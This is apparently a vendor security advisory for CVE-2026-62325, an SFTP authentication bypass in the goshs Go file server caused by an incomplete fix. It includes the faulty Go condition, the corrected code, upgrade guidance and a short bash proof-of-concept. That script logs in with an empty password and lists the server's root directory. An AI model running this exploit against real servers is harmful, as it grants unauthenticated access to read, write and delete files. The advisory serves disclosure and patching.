CVE-2026-62325

goshs SFTP authentication bypass via empty password (incomplete fix of CVE-2026-40884)

if s.Username != "" && s.Password != "" {
    sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {
        return subtle.ConstantTimeCompare([]byte(ctx.User()), []byte(s.Username)) == 1 && subtle.ConstantTimeCompare([]byte(password), []byte(s.Password)) == 1
    }
}

if opts.FTP && opts.FTPSFTPMode && strings.HasPrefix(opts.BasicAuth, ":") {
    logger.Fatal("When using SFTP with password authentication, the username cannot be empty. ...")
}

goshs -b 'admin:' -sftp

#!/usr/bin/env bash
set -euo pipefail

HOST="${1:-127.0.0.1}"
PORT="${2:-2121}"

echo "[*] Connecting to goshs SFTP at $HOST:$PORT with empty password..."
echo "ls -la /" | sftp -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  -o PreferredAuthentications=none,password \
  -o PubkeyAuthentication=no \
  -P "$PORT" -b - admin@"$HOST" 2>&1 && \
  echo "[+] VULNERABLE: Connected without password!" || \
  echo "[-] Connection failed (patched or not running)"

// Wrong: &&
if s.Username != "" && s.Password != "" {

// Correct: ||
if s.Username != "" || s.Password != "" {

• Unauthenticated SFTP file access (read, write, delete, rename)
• Same impact as CVE-2026-40884 via a different input
• Exploitable with -b 'user:' and no -fkf

A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.

CVE-2026-62325 has a CVSS score of 9.1 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.1.4); upgrading removes the vulnerable code path.

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1. && → || at sftpserver/sftpserver.go:85
2. HasSuffix(":") check at sanity/checks.go
3. Shared auth handler setup for HTTP and SFTP code paths

1. What is CVE-2026-62325? CVE-2026-62325 is a critical-severity missing authentication for critical function vulnerability in github.com/patrickhener/goshs/v2 (go), affecting versions = 2.1.3. It is fixed in 2.1.4. A critical operation is accessible without requiring any authentication.
2. How severe is CVE-2026-62325? CVE-2026-62325 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2026-62325?
   • github.com/patrickhener/goshs/v2 (go) (versions = 2.1.3)
   • goshs.de/goshs/v2 (go) (versions = 2.1.3)
4. Is there a fix for CVE-2026-62325? Yes. CVE-2026-62325 is fixed in 2.1.4. Upgrade to this version or later.
5. Is CVE-2026-62325 exploitable, and should I be worried? Whether CVE-2026-62325 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-62325 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-62325?
   • Upgrade github.com/patrickhener/goshs/v2 to 2.1.4 or later
   • Upgrade goshs.de/goshs/v2 to 2.1.4 or later

Other vulnerabilities in github.com/patrickhener/goshs/v2